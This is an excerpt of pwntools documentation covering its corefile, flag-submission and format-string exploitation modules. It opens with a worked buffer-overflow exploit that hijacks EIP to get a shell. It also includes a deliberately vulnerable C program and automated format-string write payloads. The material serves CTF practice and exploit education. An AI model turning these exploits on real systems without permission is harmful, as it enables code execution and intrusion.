from pwn import *

# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)

# Run the process once so that it crashes
process(['./crash', payload]).wait()

# Get the core dump
core = Coredump('./core')

# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload

# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
    cyclic_find(core.eip): crash.symbols.win
})

# Get a shell!
io = process(['./crash', payload])
io.sendline(b'id')
print(io.recvline())
# uid=1000(user) gid=1000(user) groups=1000(user)
```

Module Members

class `pwnlib.elf.corefile.Corefile` (*a, **kw)

Bases: `pwnlib.elf.elf.ELF`

Enhances the information available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state.

Registers can be accessed directly, e.g. via `core_obj.eax` and enumerated via `Corefile.registers`.

Parameters `core` – Path to the core file. Alternately, may be a `process` instance, and the core file will be located automatically.

```
>>> c = Corefile('./core')
>>> hex(c.eax)
'0xffff5f2e0'
>>> c.registers
{'eax': 4294308576,
 'ebp': 1633771891,
 'ebx': 4151132160,
 'ecx': 4294311760,
 'edi': 0,
 'edx': 4294308700,
 'eflags': 66050,
 'eip': 1633771892,
 'esi': 0,
 'esp': 4294308656,
 'orig_eax': 4294967295,
```

(continues on next page)

(continued from previous page)

```
'xcs': 35,
'xds': 43,
'xes': 43,
'xfs': 0,
'xgs': 99,
'xss': 43}
```

Mappings can be iterated in order via `Corefile.mappings`.

```
>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, ↵
↵size=0x1000, flags=0x5, page_offset=0x0),
 Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, ↵
↵size=0x1000, flags=0x4, page_offset=0x1),
 Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, ↵
↵size=0x1000, flags=0x6, page_offset=0x2),
 Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_
↵offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, ↵
↵size=0x1a8000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, ↵
↵size=0x1000, flags=0x0, page_offset=0x1a8),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, ↵
↵size=0x2000, flags=0x4, page_offset=0x1a9),
 Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, ↵
↵size=0x1000, flags=0x6, page_offset=0x1aa),
 Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_
↵offset=0x0),
 Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_
↵offset=0x0),
 Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, ↵
↵page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, ↵
↵size=0x20000, flags=0x5, page_offset=0x0),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, ↵
↵size=0x1000, flags=0x4, page_offset=0x20),
 Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, ↵
↵size=0x1000, flags=0x6, page_offset=0x21),
 Mapping('[stack]', start=0xffff3e000, stop=0xffff61000, size=0x23000, flags=0x6, ↵
↵page_offset=0x0)]
```

Example

The Linux kernel may not overwrite an existing core-file.

```
>>> if os.path.exists('core'): os.unlink('core')
```

Let's build an example binary which should eat `R0=0xdeadbeef` and `PC=0xcafebabe`.

If we run the binary and then wait for it to exit, we can get its core file.

```
>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
```

(continues on next page)

(continued from previous page)

```
>>> address = 0x41410000
>>> elf = ELF.from_assembly(shellcode, vma=address)
>>> io = elf.process(env={'HELLO': 'WORLD'})
>>> io.poll(block=True)
-11
```

You can specify a full path a la `Corefile('/path/to/core')`, but you can also just access the `process.corefile` attribute.

```
>>> core = io.corefile
```

The core file has a `Corefile.exe` property, which is a `Mapping` object. Each mapping can be accessed with virtual addresses via subscript, or contents can be examined via the `Mapping.data` attribute.

```
>>> core.exe.address == address
True
```

The core file also has registers which can be accessed directly. Pseudo-registers `pc` and `sp` are available on all architectures, to make writing architecture-agnostic code more simple.

```
>>> core.pc == 0xcafebabe
True
>>> core.r0 == 0xdeadbeef
True
>>> core.sp == core.r13
True
```

We may not always know which signal caused the core dump, or what address caused a segmentation fault. Instead of accessing registers directly, we can also extract this information from the core dump.

On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our example, that's correct anyway.

```
>>> core.fault_addr == 0xcafebabe
True
>>> core.signal
11
```

Core files can also be generated from running processes. This requires GDB to be installed, and can only be done with native processes. Getting a “complete” corefile requires GDB 7.11 or better.

```
>>> elf = ELF('/bin/bash-static')
>>> context.clear(binary=elf)
>>> io = process(elf.path, env={'HELLO': 'WORLD'})
>>> core = io.corefile
```

Data can also be extracted directly from the corefile.

```
>>> elf.address > 0
True
>>> core.exe[elf.address:elf.address+4]
b'\x7fELF'
>>> core.exe.data[:4]
b'\x7fELF'
```

Various other mappings are available by name. On Linux, 32-bit Intel binaries should have a VDSO section. Since our ELF is statically linked, there is no `libc` which gets mapped.

```
>>> core.vdso.data[:4]
b'\x7fELF'
>>> core.libc # doctest: +ELLIPSIS
Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
```

The corefile also contains a *Corefile.stack* property, which gives us direct access to the stack contents. On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL-terminated path to the executable (as passed via the first arg to `execve`).

```
>>> stack_end = core.exe.name.encode()
>>> stack_end += b'\x00' * (1+8)
>>> core.stack.data.endswith(stack_end)
True
>>> len(core.stack.data) == core.stack.size
True
```

We can also directly access the environment variables and arguments.

```
>>> 'HELLO' in core.env
True
>>> core.getenv('HELLO')
b'WORLD'
>>> core argc
1
>>> core.argv[0] in core.stack
True
>>> core.string(core.argv[0]) == core.exe.path.encode()
True
```

Corefiles can also be pulled from remote machines via SSH!

```
>>> s = ssh(host='example.pwnme')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
>>> _ = s.chmod('+x', path)
>>> io = s.process(path)
>>> io.wait(1)
-1
>>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP
True
```

Make sure `fault_addr` synthesis works for amd64 on ret.

```
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('push 1234; ret')
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.fault_addr
1234
```

Tests:

These are extra tests not meant to serve as examples.

`Corefile.getenv()` works correctly, even if the environment variable's value contains embedded '='.

Corefile is able to find the stack, even if the stack pointer doesn't point at the stack.

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process(env={'FOO': 'BAR=BAZ'})
>>> io.wait(1)
>>> core = io.corefile
>>> core.getenv('FOO')
b'BAR=BAZ'
>>> core.sp == 0
True
>>> core.sp in core.stack
False
```

Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being overwritten.

```
>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
...     mov dword ptr [esp], 0x41414141
...     pop eax
...     jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait(2)
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got:
↳4141414141414141)
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith(b'AAAA')
True
>>> core.fault_addr == core.sp
True
```

debug (*a, **kw)

Open the corefile under a debugger.

getenv (name) → int

Read an environment variable off the stack, and return its contents.

Parameters **name** (*str*) – Name of the environment variable to read.

Returns *str* – The contents of the environment variable.

Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process(env={'GREETING': 'Hello!'})
>>> io.wait(1)
>>> io.corefile.getenv('GREETING')
b'Hello!'
```

argc = None

Number of arguments passed

Type *int*

argc_address = None

Pointer to argc on the stack

Type `int`

argv = None

List of addresses of arguments on the stack.

Type `list`

argv_address = None

Pointer to argv on the stack

Type `int`

env = None

Environment variables read from the stack. Keys are the environment variable name, values are the memory address of the variable.

Note: Use with the `ELF.string()` method to extract them.

Note: If FOO=BAR is in the environment, self.env['FOO'] is the address of the string “BARx00”.

Type `dict`

envp_address = None

Pointer to envp on the stack

Type `int`

exe

First mapping for the executable file.

Type `Mapping`

fault_addr

Address which generated the fault, for the signals SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native core dumps created by the kernel. If the information is unavailable, this returns the address of the instruction pointer.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
True
```

Type `int`

libc

First mapping for libc.so

Type `Mapping`

mappings = None

Dictionary of memory mappings from address to name

Type `dict`

maps

A printable string which is similar to `/proc/xx/maps`.

```
>>> print(Corefile('./core').maps)
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]
```

Type `str`

pc

The program counter for the Corefile

This is a cross-platform way to get e.g. `core.eip`, `core.rip`, etc.

Type `int`

pid

PID of the process which created the core dump.

Type `int`

ppid

Parent PID of the process which created the core dump.

Type `int`

prpsinfo = None

The NT_PRPSINFO object

prstatus = None

The NT_PRSTATUS object.

registers

All available registers in the coredump.

Example

```
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch=
↳ 'i386')
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.registers['eax'] == 0xdeadbeef
True
```

Type `dict`

siginfo = None

The NT_SIGINFO object

signal

Signal which caused the core to be dumped.

Example

```
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.signal == signal.SIGTRAP
True
```

```
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process()
>>> io.wait(1)
>>> io.corefile.signal == signal.SIGSEGV
True
```

Type `int`

sp

The program counter for the Corefile

This is a cross-platform way to get e.g. `core.esp`, `core.rsp`, etc.

Type `int`

stack = None

Address of the stack base

Type `int`

vdso

Mapping for the vdso section

Type `Mapping`

vsyscall

Mapping for the vsyscall section

Type `Mapping`

vvar

Mapping for the vvar section

Type `Mapping`

class `pwnlib.elf.corefile.Mapping` (*core*, *name*, *start*, *stop*, *flags*, *page_offset*)

Encapsulates information about a memory mapping in a `Corefile`.

find (*sub*, *start*=None, *end*=None)

Similar to `str.find()` but works on our address space

rfind (*sub*, *start*=None, *end*=None)

Similar to `str.rfind()` but works on our address space

address

Alias for `Mapping.start`.

Type `int`

data
Memory of the mapping.

Type `str`

flags = None
Mapping flags, using e.g. `PROT_READ` and so on.

Type `int`

name = None
Name of the mapping, e.g. `'/bin/bash'` or `'[vdso]'` .

Type `str`

page_offset = None
Offset in pages in the mapped file

Type `int`

path
Alias for *Mapping.name*

Type `str`

permstr
Human-readable memory permission string, e.g. `r-xp`.

Type `str`

size = None
Size of the mapping, in bytes

Type `int`

start = None
First mapped byte in the mapping

Type `int`

stop = None
First byte after the end of hte mapping

Type `int`

2.12 pwnlib.exception — Pwnlib exceptions

exception `pwnlib.exception.PwnlibException(msg, reason=None, exit_code=None)`

Exception thrown by `pwnlib.log.error()`.

Pwnlib functions that encounters unrecoverable errors should call the `pwnlib.log.error()` function instead of throwing this exception directly.

bar

2.13 pwnlib.flag — CTF Flag Management

`pwnlib.flag.submit_flag(flag, exploit='unnamed-exploit', target='unknown-target', server='flag-submission-server', port='31337', proto='tcp', team='unknown-team')`

Submits a flag to the game server

Parameters

- **flag** (*str*) – The flag to submit.
- **exploit** (*str*) – Exploit identifier, optional
- **target** (*str*) – Target identifier, optional
- **server** (*str*) – Flag server host name, optional
- **port** (*int*) – Flag server port, optional
- **proto** (*str*) –

Optional arguments are inferred from the environment, or omitted if none is set.

Returns A string indicating the status of the key submission, or an error code.

Doctest:

```
>>> l = listen()
>>> _ = submit_flag('flag', server='localhost', port=l.lport)
>>> c = l.wait_for_connection()
>>> c.recvall().split()
['flag', 'unnamed-exploit', 'unknown-target', 'unknown-team']
```

2.14 pwnlib.fmtstr — Format string bug exploitation tools

Provide some tools to exploit format string bug

Examples

```
>>> program = tempfile.mktemp()
>>> source = program + ".c"
>>> write(source, '''
... #include <stdio.h>
... #include <stdlib.h>
... #include <unistd.h>
... #include <sys/mman.h>
... #define MEMORY_ADDRESS ((void*)0x11111000)
... #define MEMORY_SIZE 1024
... #define TARGET ((int *) 0x11111110)
... int main(int argc, char const *argv[])
... {
...     char buff[1024];
...     void *ptr = NULL;
...     int *my_var = TARGET;
...     ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_
↪FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
...     if(ptr != MEMORY_ADDRESS)
...     {
```

(continues on next page)

(continued from previous page)

```
...         perror("mmap");
...         return EXIT_FAILURE;
...     }
...     *my_var = 0x41414141;
...     write(1, &my_var, sizeof(int *));
...     scanf("%s", buff);
...     dprintf(2, buff);
...     write(1, my_var, sizeof(int));
...     return 0;
... }'''
>>> gcc = process(["gcc", source, "-Wno-format-security", "-m32", "-o", program])
>>> gcc.poll(True) and gcc.recvall()
0
>>> def exec_fmt(payload):
...     p = process(program)
...     p.sendline(payload)
...     return p.recvall()
...
>>> autofmt = FmtStr(exec_fmt)
>>> offset = autofmt.offset
>>> p = process(program, stderr=PIPE)
>>> addr = unpack(p.recv(4))
>>> payload = fmtstr_payload(offset, {addr: 0x1337babe})
>>> p.sendline(payload)
>>> print(hex(unpack(p.recv(4))))
0x1337babe
```

2.14.1 Example - Payload generation

```
# we want to do 3 writes
writes = {0x08041337: 0xbfffffff,
          0x08041337+4: 0x1337babe,
          0x08041337+8: 0xdeadbeef}

# the printf() call already writes some bytes
# for example :
# strcat(dest, "blabla :", 256);
# strcat(dest, your_input, 256);
# printf(dest);
# Here, numbwritten parameter must be 8
payload = fmtstr_payload(5, writes, numbwritten=8)
```

2.14.2 Example - Automated exploitation

```
# Assume a process that reads a string
# and gives this string as the first argument
# of a printf() call
# It do this indefinitely
p = process('./vulnerable')

# Function called in order to send a payload
def send_payload(payload):
```

(continues on next page)

(continued from previous page)

```
log.info("payload = %s" % repr(payload))
p.sendline(payload)
return p.recv()

# Create a FmtStr object and give to him the function
format_string = FmtStr(execute_fmt=send_payload)
format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0
format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe
format_string.execute_writes()
```

class `pwnlib.fmtstr.AtomWrite` (*start, size, integer, mask=None*)

This class represents a write action that can be carried out by a single format string specifier.

Each write has an address (start), a size and the integer that should be written.

Additionally writes can have a mask to specify which bits are important. While the write always overwrites all bytes in the range [start, start+size) the mask sometimes allows more efficient execution. For example, assume the current format string counter is at 0xaabb and a write with integer = 0xaa00 and mask = 0xff00 needs to be executed. In that case, since the lower byte is not covered by the mask, the write can be directly executed with a %hn sequence (so we will write 0xaabb, but that is ok because the mask only requires the upper byte to be correctly written).

compute_padding (*counter*)

This function computes the least amount of padding necessary to execute this write, given the current format string write counter (how many bytes have been written until now).

Examples

```
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0x2345).compute_padding(0x1111))
'0x1234'
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00).compute_padding(0xaabb))
'0xff45'
>>> hex(pwnlib.fmtstr.AtomWrite(0x0, 0x2, 0xaa00, 0xff00).compute_
padding(0xaabb)) # with mask
'0x0'
```

replace (*start=None, size=None, integer=None, mask=None*)

Return a new write with updated fields (everything that is not None is set to the new value)

union (*other*)

Combine adjacent writes into a single write.

Example: >>> context.clear(endian = "little") >>> pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0x1, 0xff).union(pwnlib.fmtstr.AtomWrite(0x1, 0x1, 0x2, 0x77)) AtomWrite(start=0, size=2, integer=0x201, mask=0xff77)

class `pwnlib.fmtstr.FmtStr` (*execute_fmt, offset=None, padlen=0, numbwritten=0*)

Provides an automated format string exploitation.

It takes a function which is called every time the automated process want to communicate with the vulnerable process. this function takes a parameter with the payload that you have to send to the vulnerable process and must return the process returns.

If the *offset* parameter is not given, then try to find the right offset by leaking stack data.

Parameters

- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter’s offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

Instantiates an object which try to automating exploit the vulnerable process

Parameters

- **execute_fmt** (*function*) – function to call for communicate with the vulnerable process
- **offset** (*int*) – the first formatter’s offset you control
- **padlen** (*int*) – size of the pad you want to add before the payload
- **numbwritten** (*int*) – number of already written bytes

execute_writes () → None

Makes payload and send it to the vulnerable process

Returns None

write (*addr, data*) → None

In order to tell : I want to write data at addr.

Parameters

- **addr** (*int*) – the address where you want to write
- **data** (*int*) – the data that you want to write addr

Returns None

Examples

```
>>> def send_fmt_payload(payload):
...     print(repr(payload))
...
>>> f = FmtStr(send_fmt_payload, offset=5)
>>> f.write(0x08040506, 0x1337babe)
>>> f.execute_writes()
b'%19c%16$hhn%36c%17$hhn%131c%18$hhn%4c%19
↪$hhn\t\x05\x04\x08\x08\x05\x04\x08\x07\x05\x04\x08\x06\x05\x04\x08'
```

pwnlib.fmtstr.find_min_hamming_in_range (*maxbytes, lower, upper, target*)

Find the value which differs in the least amount of bytes from the target and is in the given range.

Returns a tuple (count, value, mask) where count is the number of equal bytes and mask selects the equal bytes. So mask & target == value & target and lower <= value <= upper.

Parameters

- **maxbytes** (*int*) – bytes above maxbytes (counting from the least significant first) don’t need to match
- **lower** (*int*) – lower bound for the returned value, inclusive
- **upper** (*int*) – upper bound, inclusive
- **target** (*int*) – the target value that should be approximated

Examples

```
>>> pp = lambda svm: (svm[0], hex(svm[1]), hex(svm[2]))
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0x0, 0x100, 0xaa))
(1, '0xaa', '0xff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x100, 0xaa))
(0, '0xbb', '0x0')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(1, 0xbb, 0x200, 0xaa))
(1, '0xaa', '0xff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(2, 0x0, 0x100, 0xaa))
(2, '0xaa', '0xffff')
>>> pp(pwnlib.fmtstr.find_min_hamming_in_range(4, 0x1234, 0x10000, 0x0))
(3, '0x10000', '0xff00ffff')
```

`pwnlib.fmtstr.find_min_hamming_in_range_step` (*prev*, *step*, *carry*, *strict*)
 Compute a single step of the algorithm for `find_min_hamming_in_range`

Parameters

- **prev** (*dict*) – results from previous iterations
- **step** (*tuple*) – tuple of bounds and target value, (lower, upper, target)
- **carry** (*int*) – carry means allow for overflow of the previous (less significant) byte
- **strict** (*int*) – strict means allow the previous bytes to be bigger than the upper limit (limited to those bytes) in lower = 0x2000, upper = 0x2100, choosing 0x21 for the upper byte is not strict because then the lower bytes have to actually be smaller than or equal to 00 (0x2111 would not be in range)

Returns A tuple (score, value, mask) where score equals the number of matching bytes between the returned value and target.

Examples

```
>>> initial = {(0,0): (0,0,0), (0,1): None, (1,0): None, (1,1): None}
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 0xFF, 0x1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 1)
(0, 0, 0)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 0), 0, 1)
(1, 0, 255)
>>> repr(pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0xFF, 0x00, 0xFF),
→ 1, 0))
'None'
```

`pwnlib.fmtstr.fmtstr_payload` (*offset*, *writes*, *numbwritten*=0, *write_size*='byte') → str
 Makes payload with given parameter. It can generate payload for 32 or 64 bits architectures. The size of the addr is taken from `context.bits`

The overflows argument is a format-string-length to output-amount tradeoff: Larger values for overflows produce shorter format strings that generate more output at runtime.

Parameters

- **offset** (*int*) – the first formatter's offset you control
- **writes** (*dict*) – dict with addr, value {addr: value, addr2: value2}

- **numbwritten** (*int*) – number of byte already written by the printf function
- **write_size** (*str*) – must be byte, short or int. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)
- **overflows** (*int*) – how many extra overflows (at size sz) to tolerate to reduce the length of the format string
- **strategy** (*str*) – either ‘fast’ or ‘small’ (‘small’ is default, ‘fast’ can be used if there are many writes)

Returns The payload in order to do needed writes

Examples

```
>>> context.clear(arch = 'amd64')
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
b'%322419390c%4$1lnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
b'%47806c%5$1ln%22649c%6
↳ $hnaaaabaa\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
b'%190c%7$1ln%85c%8$hhn%36c%9$hhn%131c%10
↳ $hhnaaaab\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00'
↳ '
>>> context.clear(arch = 'i386')
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')))
b'%322419390c%5$na\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')))
b'%4919c%7$hn%42887c%8$hna\x02\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')))
b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15
↳ $hhn\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')))
b'%1c%3$na\x00\x00\x00\x00'
>>> print(repr(fmtstr_payload(1, {0x0: b"\xff\xff\x04\x11\x00\x00\x00\x00"},
↳ write_size='short')))
b'%327679c%7$1ln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
```

`pwnlib.fmtstr.fmtstr_split` (*offset*, *writes*, *numbwritten*=0, *write_size*='byte', *write_size_max*='long', *overflows*=16, *strategy*='small', *badbytes*=frozenset([]))

Build a format string like `fmtstr_payload` but return the string and data separately.

`pwnlib.fmtstr.make_atoms` (*writes*, *sz*, *szmax*, *numbwritten*, *overflows*, *strategy*, *badbytes*)

Builds an optimized list of atoms for the given format string payload parameters. This function tries to optimize two things:

- use the fewest amount of possible atoms
- sort these atoms such that the amount of padding needed between consecutive elements is small

Together this should produce short format strings.

Parameters

- **writes** (*dict*) – dict with addr, value {addr: value, addr2: value2}
- **sz** (*int*) – basic write size in bytes. Atoms of this size are generated without constraints on their values.

- **szmax** (*int*) – maximum write size in bytes. No atoms with a size larger than this are generated (ignored for strategy ‘fast’)
- **numbwritten** (*int*) – number of byte already written by the printf function
- **overflows** (*int*) – how many extra overflows (of size sz) to tolerate to reduce the length of the format string
- **strategy** (*str*) – either ‘fast’ or ‘small’
- **badbytes** (*str*) – bytes that are not allowed to appear in the payload

`pwnlib.fmtstr.make_atoms_simple(address, data, badbytes=frozenset([]))`

Build format string atoms for writing some data at a given address where some bytes are not allowed to appear in addresses (such as nullbytes).

This function is simple and does not try to minimize the number of atoms. For example, if there are no bad bytes, it simply returns one atom for each byte:

```
>>> pwnlib.fmtstr.make_atoms_simple(0x0, b"abc", set())
[AtomWrite(start=0, size=1, integer=0x61, mask=0xff), AtomWrite(start=1, size=1,
↳ integer=0x62, mask=0xff), AtomWrite(start=2, size=1, integer=0x63, mask=0xff)]
```

`pwnlib.fmtstr.make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4)`

Makes a format-string payload using glibc’s dollar syntax to access the arguments.

Returns A tuple (fmt, data) where *fmt* are the format string instructions and *data* are the pointers that are accessed by the instructions.

Parameters

- **data_offset** (*int*) – format string argument offset at which the first pointer is located
- **atoms** (*list*) – list of atoms to execute
- **numbwritten** (*int*) – number of byte already written by the printf function
- **countersize** (*int*) – size in bytes of the format string counter (usually 4)

Examples

```
>>> pwnlib.fmtstr.make_payload_dollar(1, [pwnlib.fmtstr.AtomWrite(0x0, 0x1,
↳ 0xff)])
(b'%255c%1$hhn', b'\x00\x00\x00\x00')
```

`pwnlib.fmtstr.merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows)`

Takes a list of atoms and merges consecutive atoms to reduce the number of atoms. For example if you have two atoms `AtomWrite(0, 1, 1)` and `AtomWrite(1, 1, 1)` they can be merged into a single atom `AtomWrite(0, 2, 0x0101)` to produce a short format string.

Parameters

- **atoms** (*list*) – list of atoms to merge
- **sz** (*int*) – basic write size in bytes. Atoms of this size are generated without constraints on their values.
- **szmax** (*int*) – maximum write size in bytes. No atoms with a size larger than this are generated.
- **numbwritten** (*int*) – the value at which the counter starts

- **overflows** (*int*) – how many extra overflows (of size *sz*) to tolerate to reduce the number of atoms

Examples

```
>>> from pwnlib.fmtstr import *
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 2, 8, 0, 1)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 1)
↪ # not merged since it causes an extra overflow of the 1-byte counter
[AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1, ↪
↪ integer=0x1, mask=0xff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 2)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]
>>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 1, 0, 2)
↪ # not merged due to szmax
[AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1, ↪
↪ integer=0x1, mask=0xff)]
```

`pwnlib.fmtstr.merge_atoms_writesize` (*atoms*, *maxsize*)

Merge consecutive atoms based on size.

This function simply merges adjacent atoms as long as the merged atom's size is not larger than *maxsize*.

Examples

```
>>> from pwnlib.fmtstr import *
>>> merge_atoms_writesize([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1), AtomWrite(2, 1, ↪
↪ 2)], 2)
[AtomWrite(start=0, size=2, integer=0x101, mask=0xffff), AtomWrite(start=2, ↪
↪ size=1, integer=0x2, mask=0xff)]
```

`pwnlib.fmtstr.normalize_writes` (*writes*)

This function converts user-specified writes to a dict { *address1*: *data1*, *address2*: *data2*, . . . } such that all values are raw bytes and consecutive writes are merged to a single key.

Examples

```
>>> context.clear(endian="little", bits=32)
>>> normalize_writes({0x0: [p32(0xdeadbeef)], 0x4: p32(0xf00dface), 0x10: ↪
↪ 0x41414141})
[(0, b'\xef\xbe\xad\xde\xce\xfa\r\xf0'), (16, b'AAAA')]
```

`pwnlib.fmtstr.overlapping_atoms` (*atoms*)

Finds pairs of atoms that write to the same address.

Basic examples:

```
>>> from pwnlib.fmtstr import *
>>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(2, 10, 1)])) # no ↪
↪ overlaps
[]
```

(continues on next page)

(continued from previous page)

```
>>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(1, 2, 1)])) #_
↪single overlap
[(AtomWrite(start=0, size=2, integer=0x0, mask=0xffff), AtomWrite(start=1,
↪size=2, integer=0x1, mask=0xffff))]
```

When there are transitive overlaps, only the largest overlap is returned. For example:

```
>>> list(overlapping_atoms([AtomWrite(0, 3, 0), AtomWrite(1, 4, 1),
↪AtomWrite(2, 4, 1)]))
[(AtomWrite(start=0, size=3, integer=0x0, mask=0xffffffff), AtomWrite(start=1,
↪size=4, integer=0x1, mask=0xffffffff)), (AtomWrite(start=1, size=4,
↪integer=0x1, mask=0xffffffff), AtomWrite(start=2, size=4, integer=0x1,
↪mask=0xffffffff))]
```

Even though `AtomWrite(0, 3, 0)` and `AtomWrite(2, 4, 1)` overlap as well that overlap is not returned as only the largest overlap is returned.

